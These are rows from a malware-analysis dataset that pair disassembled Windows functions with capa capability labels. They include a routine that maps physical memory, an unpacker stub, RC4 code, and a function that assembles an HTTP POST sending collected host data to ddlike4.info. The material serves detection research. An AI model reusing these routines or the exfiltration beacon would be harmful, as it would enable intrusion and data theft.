joyce8/EMBER2024-capa huggingface dataset:
Function at 0x403913
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x78
push ebx
push esi
push edi
push 0xb
pop ecx
mov esi, str.devicephysicalmemory
lea edi, [ebp - 0x78]
xor eax, eax
rep movsd dword es:[edi], dword [esi]
movsw word es:[edi], word [esi]
lea edi, [ebp - 0x4a]
xor ebx, ebx
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosw word es:[edi], ax
lea eax, [ebp - 0x78]
push str.ntdll.dll
mov dword [ebp - 0x18], eax
lea eax, [ebp - 0x1c]
mov dword [ebp - 0x24], 0xf0000
mov dword [ebp - 0x20], ebx
mov dword [ebp - 0xc], 0xffff
mov dword [ebp - 8], ebx
mov word [ebp - 0x1c], 0x2c
mov word [ebp - 0x1a], 0x2e
mov dword [ebp - 0x30], 0x40
mov dword [ebp - 0x3c], 0x18
mov dword [ebp - 0x34], eax
mov dword [ebp - 0x38], ebx
mov dword [ebp - 0x2c], ebx
mov dword [ebp - 0x28], ebx
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov edi, eax
push str.ZwOpenSection
push edi
call esi
push str.ZwMapViewOfSection
push edi
mov dword [ebp - 4], eax
call esi
push str.ZwUnmapViewOfSection
push edi
mov dword [ebp - 0x14], eax
call esi
mov edi, eax
lea eax, [ebp - 0x3c]
push eax
lea eax, [ebp - 0x10]
push 4
push eax
call dword [ebp - 4]
test eax, eax
jne 0x403a3c
push 2
push ebx
lea eax, [ebp - 0xc]
push 1
push eax
lea eax, [ebp - 0x24]
push eax
push 0xffff
lea eax, [ebp - 8]
push ebx
push eax
push 0xffffffffffffffff
push dword [ebp - 0x10]
call dword [ebp - 0x14]
test eax, eax
jne 0x403a3c
mov eax, dword [ebp - 8]
mov dword [ebp - 4], eax
lea eax, [ebp - 4]
push eax
call fcn.00403782
mov esi, eax
pop ecx
cmp esi, ebx
jne 0x403a17
lea eax, [ebp - 4]
push eax
call fcn.004037f5
mov esi, eax
pop ecx
cmp esi, ebx
jne 0x403a17
lea eax, [ebp - 4]
push eax
call fcn.00403868
mov esi, eax
pop ecx
cmp esi, ebx
je 0x403a35
mov eax, dword [0x40eb80]
push esi
push dword [ebp - 4]
lea eax, [eax + 0x40db80]
push eax
call fcn.00404650
add esp, 0xc
add dword [0x40eb80], esi
push dword [ebp - 8]
push 0xffffffffffffffff
call edi
pop edi
pop esi
pop ebx
leave
ret
Function at 0x403ddc
Capabilities:
Initialize winsock library

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x1614
call fcn.00404260
push esi
mov esi, dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push edi
push str.ws2_32.dll
call esi
push dword [0x40ad34]
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call edi
push str.iphlpapi.dll
mov dword [0x40db7c], eax
call esi
push dword [0x40ad38]
push eax
call edi
push str.kernel32.dll
mov dword [0x40db78], eax
call esi
push dword [0x40ad3c]
push eax
call edi
mov dword [0x40db70], eax
lea eax, [ebp - 0xe14]
push eax
push 0x202
call sub.WS2_32.dll_WSAStartup
test eax, eax
jne 0x403fc6
mov esi, 0x400
push ebx
lea eax, [ebp - 0x1214]
push esi
push eax
call dword [0x40db7c]
call fcn.00403655
call fcn.004036fd
call fcn.00403913
xor edi, edi
push esi
lea eax, [ebp - 0x884]
push edi
push eax
call fcn.00404180
add esp, 0xc
xor ebx, ebx
cmp dword [0x40eb80], edi
jbe 0x403ebd
lea eax, [ebp - 0x884]
mov dword [ebp - 4], eax
movzx eax, byte [ebx + 0x40db80]
push eax
push str._02x
push dword [ebp - 4]
call fcn.004041d8
add dword [ebp - 4], 2
add esp, 0xc
inc ebx
cmp ebx, dword [0x40eb80]
jb 0x403e98
push edi
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
lea ecx, [ebp - 0x1614]
push esi
push ecx
push eax
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
push 0x40
lea eax, [ebp - 0x44]
push edi
push eax
call fcn.00404180
push 0x40
lea eax, [ebp - 0x84]
push edi
push eax
call fcn.00404180
push esi
lea eax, [ebp - 0xc84]
push edi
push eax
call fcn.00404180
lea eax, [ebp - 0xc84]
push eax
lea eax, [ebp - 0x84]
push eax
lea eax, [ebp - 0x44]
push eax
lea eax, [ebp - 0x1614]
push eax
call fcn.00403cfb
push esi
lea eax, [ebp - 0x484]
push edi
push eax
call fcn.00404180
add esp, 0x40
lea eax, [ebp - 0x484]
push eax
call fcn.00403a41
lea eax, [ebp - 0x484]
push eax
call fcn.00404100
mov esi, eax
lea eax, [ebp - 0xc84]
push eax
call fcn.00404100
add esi, eax
lea eax, [ebp - 0x84]
push eax
call fcn.00404100
add esi, eax
lea eax, [ebp - 0x44]
push eax
call fcn.00404100
add esi, eax
lea eax, [ebp - 0x884]
push eax
call fcn.00404100
add esi, eax
lea eax, [ebp - 0x1214]
push eax
call fcn.00404100
add esp, 0x1c
lea ecx, [ebp - 0x44]
lea eax, [esi + eax + 0x1a]
push ecx
lea ecx, [ebp - 0x84]
push ecx
lea ecx, [ebp - 0x484]
push ecx
lea ecx, [ebp - 0xc84]
push ecx
lea ecx, [ebp - 0x884]
push ecx
lea ecx, [ebp - 0x1214]
push ecx
push eax
push str.POST__pro.asp_HTTP_1.1_r_nHost:ddlike4.info_r_nContent_Type:_application_x_www_form_urlencoded_r_nContent_Length:_d_r_n_r_na1_sa2_sa3_sa4_sa6_sa7_s_r_n_r_n
push dword [ebp + 8]
call fcn.004041d8
add esp, 0x24
pop ebx
pop edi
pop esi
leave
ret
Function at 0x41a5b0
Capabilities:
Encrypt data using rc4 ksa

Disassembly:
push ecx
mov eax, dword [0x8517f8]
xor edx, edx
cmp eax, edx
jne 0x41a5d6
xor eax, eax
mov byte [eax + 0x8516f8], al
inc eax
cmp eax, 0x100
jl 0x41a5be
mov dword [0x8517f8], 1
mov eax, dword [esp + 0xc]
push ebx
mov ebx, dword [esp + 0x14]
push esi
push edi
mov ecx, 0x40
mov esi, 0x8516f8
mov edi, ebx
rep movsd dword es:[edi], dword [esi]
cmp eax, edx
mov byte [ebx + 0x100], dl
mov byte [ebx + 0x101], dl
jle 0x41a667
xor esi, esi
push ebp
mov byte [esp + 0x20], dl
xor ecx, ecx
mov edi, dword [esp + 0x20]
mov ebp, dword [esp + 0x18]
mov al, byte [esi + ebx]
and edi, 0xff
xor edx, edx
mov dl, byte [edi + ebp]
mov ebp, eax
and ebp, 0xff
add ecx, edx
add ecx, ebp
and ecx, 0x800000ff
jns 0x41a63a
dec ecx
or ecx, 0xffffff00
inc ecx
mov byte [esp + 0x10], cl
mov ecx, dword [esp + 0x10]
and ecx, 0xff
mov dl, byte [ecx + ebx]
mov byte [esi + ebx], dl
mov byte [ecx + ebx], al
lea eax, [edi + 1]
cdq
idiv dword [esp + 0x1c]
inc esi
cmp esi, 0x100
mov byte [esp + 0x20], dl
jl 0x41a608
pop ebp
pop edi
pop esi
pop ebx
pop ecx
ret

Function at 0x41a6e0
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
mov eax, dword [ebp + 0x10]
push ebx
push esi
push edi
mov cl, byte [eax + 0x100]
mov dl, byte [eax + 0x101]
mov dword [ebp - 8], eax
mov byte [ebp - 1], cl
mov byte [ebp - 2], dl
xor ebx, ebx
mov bl, byte [ebp - 1]
xor edx, edx
mov dl, byte [ebp - 2]
mov esi, dword [ebp - 8]
mov edi, dword [ebp + 8]
xor eax, eax
mov ecx, dword [ebp + 0xc]
test ecx, ecx
jle 0x41a733
inc bl
mov al, byte [esi + ebx]
add dl, al
xchg byte [esi + edx], al
mov byte [esi + ebx], al
add al, byte [esi + edx]
mov al, byte [esi + eax]
xor byte [edi], al
inc edi
dec ecx
jne 0x41a71a
mov byte [ebp - 1], bl
mov byte [ebp - 2], dl
mov eax, dword [ebp + 0x10]
mov cl, byte [ebp - 1]
mov dl, byte [ebp - 2]
pop edi
pop esi
mov byte [eax + 0x100], cl
mov byte [eax + 0x101], dl
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x431ac0
Capabilities:
Encode data using xor

Disassembly:
aad 2
add byte [eax], dl
salc
add al, byte [eax]
inc eax
salc
add al, byte [eax]
pushal
salc
add al, byte [eax]
nop
salc
add al, byte [eax]
rcl dh, 2
add al, ch
salc
add al, byte [eax]
adc bh, dl
add al, byte [eax]
xor bh, dl
add al, byte [eax]
push eax
xlatb
add al, byte [eax]
jo 0x431ab1
add al, byte [eax]
mov dword [0xc00002d7], eax
rcl bh, 2
add al, ah
xlatb
add al, byte [eax]
add al, bl
add al, byte [eax]
xor al, bl
add al, byte [eax]
Function at 0x45df50
Capabilities:
Packed with generic packer

Disassembly:
pushal
mov esi, 0x436015
lea edi, [esi - 0x35015]
push edi
jmp 0x45df6a
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
add ebx, ebx
jne 0x45df71
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x45df60
mov eax, 1
add ebx, ebx
jne 0x45df83
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
add ebx, ebx
jae 0x45df78
jne 0x45df94
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x45df78
xor ecx, ecx
sub eax, 3
jb 0x45dfa8
shl eax, 8
mov al, byte [esi]
inc esi
xor eax, 0xffffffff
je 0x45e01a
mov ebp, eax
add ebx, ebx
jne 0x45dfb3
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jne 0x45dfc0
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
jne 0x45dfe4
inc ecx
add ebx, ebx
jne 0x45dfd0
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jae 0x45dfc5
jne 0x45dfe1
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x45dfc5
add ecx, 2
cmp ebp, 0xfffff300
adc ecx, 1
lea edx, [edi + ebp]
cmp ebp, 0xfffffffc
jbe 0x45e004
mov al, byte [edx]
inc edx
mov byte [edi], al
inc edi
dec ecx
jne 0x45dff5
jmp 0x45df66
mov eax, dword [edx]
add edx, 4
mov dword [edi], eax
add edi, 4
sub ecx, 4
ja 0x45e004
add edi, ecx
jmp 0x45df66
pop esi
mov edi, esi
mov ecx, 0x18
mov al, byte [edi]
inc edi
sub al, 0xe8
cmp al, 1
ja 0x45e022
cmp byte [edi], 0x96
jne 0x45e022
mov eax, dword [edi]
mov bl, byte [edi + 4]
shr ax, 8
rol eax, 0x10
xchg ah, al
sub eax, edi
sub bl, 0xe8
add eax, esi
mov dword [edi], eax
add edi, 5
mov al, bl
loop 0x45e027
lea edi, [esi + 0x5a000]
mov eax, dword [edi]
or eax, eax
je 0x45e096
mov ebx, dword [edi + 4]
lea eax, [eax + esi + 0x5e244]
add ebx, esi
push eax
add edi, 8
call dword [esi + 0x5e2cc]
xchg ebp, eax
mov al, byte [edi]
inc edi
or al, al
je 0x45e054
mov ecx, edi
push edi
dec eax
repne scasb al, byte es:[edi]
push ebp
call dword [esi + 0x5e2d4]
or eax, eax
je 0x45e090
mov dword [ebx], eax
add ebx, 4
jmp 0x45e071
call dword [esi + 0x5e2d0]
mov ebp, dword [esi + 0x5e2d8]
lea edi, [esi - 0x1000]
mov ebx, 0x1000
push eax
push esp
push 4
push ebx
push edi
call ebp
lea eax, [edi + 0x19f]
and byte [eax], 0x7f
and byte [eax + 0x28], 0x7f
pop eax
push eax
push esp
push eax
push ebx
push edi
call ebp
pop eax
popal
lea eax, [esp - 0x80]
push 0
cmp esp, eax
jne 0x45e0ca
sub esp, 0xffffff80
jmp 0x4341b0
Function at 0x40118b
Capabilities:
Terminate process

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x40682a
push 0x40138b
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
add esp, 0xffffff98
push ebx
push esi
push edi
mov dword [ebp - 0x18], esp
mov dword [ebp - 4], 0
push 2
call dword [sym.imp.MSVCRT.DLL___set_app_type]
add esp, 4
mov dword [0x40686c], 0xffffffff
mov dword [0x406870], 0xffffffff
call dword [sym.imp.MSVCRT.DLL___p__fmode]
mov ecx, dword [0x40685e]
mov dword [eax], ecx
call dword [sym.imp.MSVCRT.DLL___p__commode]
mov edx, dword [0x40685a]
mov dword [eax], edx
mov eax, dword [sym.imp.MSVCRT.DLL__adjust_fdiv]
mov ecx, dword [eax]
mov dword [0x406874], ecx
call fcn.0040137b
mov eax, dword [0x40687a]
test eax, eax
jne 0x40121c
push 0x40136b
call dword [sym.imp.MSVCRT.DLL___setusermatherr]
add esp, 4
call fcn.0040134b
push 0x406844
push 0x406840
call sub.MSVCRT.DLL__initterm
add esp, 8
mov edx, dword [0x406856]
mov dword [ebp - 0x6c], edx
lea eax, [ebp - 0x6c]
push eax
mov ecx, dword [0x406852]
push ecx
lea edx, [ebp - 0x64]
push edx
lea eax, [ebp - 0x70]
push eax
lea ecx, [ebp - 0x60]
push ecx
call dword [sym.imp.MSVCRT.DLL___getmainargs]
add esp, 0x14
push 0x40683c
push 0x406838
call sub.MSVCRT.DLL__initterm
add esp, 8
call dword [sym.imp.MSVCRT.DLL___p__acmdln]
mov esi, dword [eax]
mov dword [ebp - 0x74], esi
cmp byte [esi], 0x22
jne 0x40132a
inc esi
mov dword [ebp - 0x74], esi
mov al, byte [esi]
test al, al
je 0x401290
cmp al, 0x22
jne 0x401282
cmp byte [esi], 0x22
jne 0x401299
inc esi
mov dword [ebp - 0x74], esi
mov al, byte [esi]
test al, al
je 0x4012a9
cmp al, 0x20
ja 0x4012a9
inc esi
mov dword [ebp - 0x74], esi
jmp 0x401299
mov dword [ebp - 0x30], 0
lea edx, [ebp - 0x5c]
push edx
call dword [sym.imp.KERNEL32.DLL_GetStartupInfoA]
test byte [ebp - 0x30], 1
je 0x4012ca
mov eax, dword [ebp - 0x2c]
and eax, 0xffff
jmp 0x4012cf
mov eax, 0xa
push eax
push esi
push 0
push 0
call dword [sym.imp.KERNEL32.DLL_GetModuleHandleA]
push eax
call main
mov dword [ebp - 0x68], eax
push eax
call dword [sym.imp.MSVCRT.DLL_exit]
jmp 0x40130f
add esp, 4
mov dword [ebp - 4], 0xffffffff
mov ecx, dword [ebp - 0x10]
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
cmp byte [esi], 0x20
jbe 0x401299
inc esi
mov dword [ebp - 0x74], esi
jmp 0x40132a
Function at 0x401831
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push ebp
mov ebp, esp
push ebx
push esi
push edi
sub esp, 0x60
xor esi, esi
mov ecx, 0x85
push esi
dec ecx
jne 0x401841
push ebx
push esi
push edi
mov esi, dword [ebp + 8]
and esi, esi
je 0x40194d
mov edi, dword [ebp + 0x10]
and edi, edi
je 0x40194d
mov edx, dword [ebp + 0xc]
and edx, edx
je 0x40194d
push esi
push edi
push edx
xor eax, eax
lea esi, [ebp - 0x17c]
lea edi, [ebp - 0x27c]
mov byte [esi + eax], al
mov bl, byte [edx]
cmp bl, 0
je 0x40189d
mov byte [edi + eax], bl
inc edx
inc eax
cmp eax, 0x100
jl 0x40187a
jmp 0x4018b1
pop edx
push edx
mov bl, byte [edx]
mov byte [edi + eax], bl
inc edx
inc eax
cmp eax, 0x100
jl 0x40187a
xor ecx, ecx
xor edx, edx
mov al, byte [esi + ecx]
mov ah, byte [edi + ecx]
add al, ah
mov ah, dl
add al, ah
mov edx, eax
and edx, 0xff
mov bl, byte [esi + ecx]
mov al, byte [esi + edx]
mov byte [esi + ecx], al
mov byte [esi + edx], bl
inc ecx
cmp ecx, 0x100
jl 0x4018b5
pop edx
pop edi
pop esi
xor eax, eax
xor ebx, ebx
xor ecx, ecx
xor edx, edx
mov eax, 0x4d2
cmp edx, dword [ebp + 0x14]
jge 0x40194d
mov al, byte [esi + edx]
inc ch
and ch, 0xff
push esi
lea esi, [ebp - 0x17c]
push eax
push ebx
xor eax, eax
mov ah, ch
shr eax, 8
mov ebx, eax
mov al, byte [esi + ebx]
add cl, al
and cl, 0xff
pop ebx
xor eax, eax
mov al, cl
mov bl, byte [esi + eax]
mov al, ch
mov bh, byte [esi + eax]
mov byte [esi + eax], bl
mov al, cl
mov byte [esi + eax], bh
pop eax
add bl, bh
and ebx, 0xff
mov bh, byte [esi + ebx]
shr ebx, 8
xor al, bl
mov byte [edi + edx], al
pop esi
inc edx
jmp 0x4018ed
cmp eax, 0x4d2
je 0x40195f
mov eax, 1
mov esi, eax
pop edi
pop esi
pop ebx
mov dword [ebp - 0x7c], esi
mov eax, dword [ebp - 0x7c]
lea esp, [ebp - 0xc]
pop edi
pop esi
pop ebx
pop ebp
ret 0x10
Function at 0x401de3
Capabilities:
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
push ebx
push esi
push edi
sub esp, 0x60
xor esi, esi
xor edi, edi
mov ecx, 0x11
push esi
dec ecx
jne 0x401df5
mov ebx, dword [ebp + 8]
mov eax, dword [ebx + 0x3c]
mov ecx, dword [ebp + 8]
add eax, ecx
mov dword [ebp - 0x80], eax
mov ebx, dword [ebp - 0x80]
xor eax, eax
add ebx, eax
mov eax, dword [ebx + 0x78]
mov dword [ebp - 0x84], eax
mov eax, dword [ebp + 8]
mov ecx, dword [ebp - 0x84]
add eax, ecx
mov dword [ebp - 0x84], eax
mov eax, dword [ebp + 8]
mov ebx, dword [ebp - 0x84]
mov ecx, dword [ebx + 0x24]
add eax, ecx
mov dword [ebp - 0x88], eax
mov eax, dword [ebp + 8]
mov ebx, dword [ebp - 0x84]
mov ecx, dword [ebx + 0x20]
add eax, ecx
mov dword [ebp - 0x90], eax
mov eax, dword [ebp + 8]
mov ebx, dword [ebp - 0x84]
mov ecx, dword [ebx + 0x1c]
add eax, ecx
mov dword [ebp - 0x8c], eax
mov ebx, dword [ebp + 0xc]
mov eax, ebx
mov dword [ebp - 0xa0], eax
mov eax, dword [ebp - 0xa0]
shr eax, 0x10
test eax, eax
je 0x401f82
mov eax, 1
mov ebx, dword [ebp - 0x84]
mov ecx, dword [ebx + 0x14]
neg eax
add eax, ecx
mov dword [ebp - 0xa8], eax
mov esi, 0
jmp 0x401f6f
mov ebx, dword [ebp - 0x8c]
mov eax, esi
shl eax, 2
add ebx, eax
mov eax, dword [ebx]
test eax, eax
je 0x401f6d
mov eax, 1
mov ebx, dword [ebp - 0x84]
mov ecx, dword [ebx + 0x18]
neg eax
add eax, ecx
mov dword [ebp - 0xb0], eax
mov edi, 0
jmp 0x401f5f
mov dword [ebp - 0x58], esi
mov dword [ebp - 0x54], 0
fild qword [ebp - 0x58]
mov ebx, dword [ebp - 0x88]
mov eax, edi
shl eax, 1
add ebx, eax
mov ax, word [ebx]
call fcn.00404c77
fcompp
fnstsw ax
sahf
jne 0x401f5d
mov eax, dword [ebp + 8]
mov ebx, dword [ebp - 0x90]
mov ecx, edi
shl ecx, 2
add ebx, ecx
mov ecx, dword [ebx]
add eax, ecx
mov dword [ebp - 0x94], eax
mov ebx, dword [ebp - 0x94]
call fcn.00405431
mov ebx, dword [ebp + 0xc]
call fcn.00405431
call fcn.0040523e
jne 0x401f5d
mov eax, dword [ebp + 8]
mov ebx, dword [ebp - 0x8c]
mov ecx, esi
shl ecx, 2
add ebx, ecx
mov ecx, dword [ebx]
add eax, ecx
mov dword [ebp - 0x7c], eax
jmp 0x402017
inc edi
mov eax, edi
cmp eax, dword [ebp - 0xb0]
jbe 0x401edd
inc esi
mov eax, esi
cmp eax, dword [ebp - 0xa8]
jbe 0x401ea3
jmp 0x402017
mov eax, 1
mov ebx, dword [ebp - 0x84]
mov ecx, dword [ebx + 0x14]
neg eax
add eax, ecx
mov dword [ebp - 0xa8], eax
mov esi, 0
jmp 0x40200d
mov dword [ebp - 0x58], esi
mov dword [ebp - 0x54], 0
fild qword [ebp - 0x58]
mov ebx, dword [ebp - 0x84]
mov eax, dword [ebx + 0x10]
call fcn.00404c81
faddp st(1)
mov eax, dword [ebp - 0xa0]
call fcn.00404c81
fcompp
fnstsw ax
sahf
jne 0x40200b
mov ebx, dword [ebp - 0x8c]
mov eax, esi
shl eax, 2
add ebx, eax
mov eax, dword [ebx]
test eax, eax
je 0x402006
mov eax, dword [ebp + 8]
mov ebx, dword [ebp - 0x8c]
mov ecx, esi
shl ecx, 2
add ebx, ecx
mov ecx, dword [ebx]
add eax, ecx
mov dword [ebp - 0x7c], eax
jmp 0x402017
inc esi
mov eax, esi
cmp eax, dword [ebp - 0xa8]
jbe 0x401fa5
mov eax, dword [ebp - 0x7c]
lea esp, [ebp - 0xc]
pop edi
pop esi
pop ebx
pop ebp
ret 8
Function at 0x40378c
Capabilities:
Allocate thread local storage

Disassembly:
call dword [sym.imp.KERNEL32.DLL_TlsAlloc]
cmp eax, 0xffffffff
stc
je 0x4037e5
mov dword [ebx + 0xe4], eax
mov dword [ebx + 0xec], 0
mov dword [ebx + 0xe8], 0
call fcn.00403b39
jb 0x4037e5
mov dword [ebx + 0xe8], eax
mov dword [eax + 0x4c], 8
call 0x4037d9
dec ebp
push ebx
and byte [ebx + 0x61], dl
outsb dx, byte [esi]
jae 0x4037f3
push ebx
jb 0x403840
add byte [esi - 4], bl
mov ecx, 0xe
lea edi, [eax + 0x2c]
rep movsb byte es:[edi], byte [esi]
ret
call dword [sym.imp.KERNEL32.DLL_TlsFree]
ret
mov edi, 0x8d02e6c1
dec esp
xor eax, 0x15ff5100
push 0xeb004072
scasd eax, dword es:[edi]
add byte [edx], cl
add byte [esi], cl
add byte [eax + eax - 0x1f], ah
call [edi - 0x75]
pop edi
mov esp, ebp
pop ebp

Function at 0x4038ef
Capabilities:
Get system information on windows

Disassembly:
mov word [ebx + 0xf8], 0
mov ah, byte [ebx + 0x298]
mov al, byte [ebx + 0x29c]
mov word [ebx + 0xfa], ax
mov eax, dword [ebx + 0x2a4]
test al, 1
jne 0x40391f
test al, 2
je 0x403947
mov ax, 0x400
jmp 0x403940
mov dx, word [ebx + 0x2a0]
cmp dx, 0x3b6
mov ax, pe_nt_image_headers32
je 0x403940
cmp dx, 0x457
mov ax, 0x100
je 0x403940
mov ax, 0x200
or word [ebx + 0xf8], ax
sub esp, 0x24
push esp
cld
call dword [sym.imp.KERNEL32.DLL_GetSystemInfo]
mov byte [ebx + 0xfc], 3
test word [ebx + 0xf8], 0x380
jne 0x403986
test word [ebx + 0xf8], 0x400
je 0x4039bf
cmp word [esp], 0
jne 0x4039bf
mov al, byte [esp + 0x20]
cmp al, 3
jb 0x4039bf
cmp al, 5
jbe 0x40399c
mov al, 5
jmp 0x40399c
mov eax, dword [esp + 0x18]
cmp eax, 0x182
jbe 0x4039bf
cmp eax, 0x24a
mov al, 5
jae 0x40399c
mov al, 4
mov byte [ebx + 0xfc], al
cmp al, 5
jb 0x4039bf
mov eax, 1
push ebx
cpuid
pop ebx
test edx, 0x800000
je 0x4039bf
or word [ebx + 0xf8], 0x40
add esp, 0x24
push esp
push esp
push 0x20019
push 0
call 0x403a03
dec eax
inc ecx
push edx
inc esp
push edi
inc ecx
push edx
inc ebp
pop esp
inc esp
inc ebp
push ebx
inc ebx
push edx
dec ecx
push eax
push esp
dec ecx
dec edi
dec esi
pop esp
push ebx
jns 0x403a5b
je 0x403a4f
insd dword es:[edi], dx
pop esp
inc esi
insb byte es:[edi], dx
outsd dx, dword [esi]
popal
je 0x403a5b
outsb dx, byte [esi]
push eax
outsd dx, dword [esi]
imul ebp, dword [esi + 0x74], 0x636f7250
jae 0x403a73
outsd dx, dword [esi]
jb 0x403a03
push 0x80000002
call dword [sym.imp.ADVAPI32.DLL_RegOpenKeyExA]
test eax, eax
pop edx
jne 0x403a25
mov ax, 2
or word [0x4060f8], ax
push edx
call dword [sym.imp.ADVAPI32.DLL_RegCloseKey]
ret
add byte [ebx], dh
sar byte [ecx + 0xcc], 0x8d
jnp 0x403a6a
stosb byte es:[edi], al
mov al, byte [esi]
mov byte [edi], al
inc esi
inc edi
or al, al
jne 0x403a6b
ret
Function at 0x41ab90
Capabilities:
Enumerate files on windows

Disassembly:
push 0xffffffffffffffff
push 0x4959db
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x180
push ebx
push ebp
mov ebp, ecx
lea ecx, [esp + 8]
lea eax, [ebp + 0x40]
push eax
call fcn.00487df1
mov ecx, dword [esp + 8]
mov dword [esp + 0x190], 0
mov eax, dword [ecx - 8]
test eax, eax
je 0x41ac12
lea edx, [esp + 0x10]
push 1
push edx
lea ecx, [esp + 0x10]
call fcn.0048519d
mov eax, dword [eax]
push 0x4c1220
push eax
call fcn.00476b24
add esp, 8
lea ecx, [esp + 0x10]
test eax, eax
setne bl
call fcn.0048807c
test bl, bl
je 0x41ac12
push 0x4c1220
lea ecx, [esp + 0xc]
call fcn.00488458
push 0x4c4d9c
lea ecx, [esp + 0xc]
call fcn.00488458
mov ecx, dword [esp + 8]
lea eax, [esp + 0x48]
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
cmp eax, 0xffffffff
mov dword [esp + 0xc], eax
jne 0x41ac4e
lea ecx, [esp + 8]
mov dword [esp + 0x190], eax
call fcn.0048807c
jmp 0x41ad19
push esi
mov esi, dword [esp + 0x19c]
push edi
mov edi, dword [sym.imp.USER32.dll_SendMessageA]
mov ebx, 0x23
test byte [esp + 0x50], 0x10
je 0x41acd2
lea edx, [esp + 0x7c]
push 0x4c4d98
push edx
call fcn.00476b24
add esp, 8
test eax, eax
je 0x41acd2
lea eax, [esp + 0x7c]
push 0x4c4d94
push eax
call fcn.00476b24
add esp, 8
test eax, eax
je 0x41acd2
mov eax, dword [ebp + 0x1c]
lea edx, [esp + 0x1c]
push edx
push 0
lea ecx, [esp + 0x84]
push 0x1100
push eax
mov dword [esp + 0x2c], esi
mov dword [esp + 0x30], 0xffff0003
mov dword [esp + 0x4c], 0
mov dword [esp + 0x50], 1
mov dword [esp + 0x44], ecx
mov dword [esp + 0x34], ebx
call edi
mov edx, dword [esp + 0x14]
lea ecx, [esp + 0x50]
push ecx
push edx
call dword [sym.imp.KERNEL32.dll_FindNextFileA]
test eax, eax
jne 0x41ac62
mov eax, dword [esp + 0x14]
push eax
call dword [sym.imp.KERNEL32.dll_FindClose]
mov ecx, dword [ebp + 0x1c]
push esi
push 2
push 0x1102
push ecx
call edi
lea ecx, [esp + 0x10]
mov dword [esp + 0x198], 0xffffffff
call fcn.0048807c
pop edi
pop esi
mov ecx, dword [esp + 0x188]
pop ebp
pop ebx
mov dword fs:[0], ecx
add esp, 0x18c
ret 4

Function at 0x41b510
Capabilities:
Query or enumerate registry value

Disassembly:
mov ecx, dword [esp + 8]
mov edx, dword [esp + 4]
sub esp, 0x10c
lea eax, [esp]
push esi
push eax
push 1
push 0
push ecx
push edx
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
mov esi, eax
test esi, esi
jne 0x41b572
mov edx, dword [esp + 4]
lea eax, [esp + 8]
lea ecx, [esp + 0xc]
push eax
push ecx
push esi
push edx
mov dword [esp + 0x18], 0x104
call dword [sym.imp.ADVAPI32.dll_RegQueryValueA]
mov ecx, dword [esp + 0x11c]
lea eax, [esp + 0xc]
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
mov edx, dword [esp + 4]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, esi
pop esi
add esp, 0x10c
ret 0xc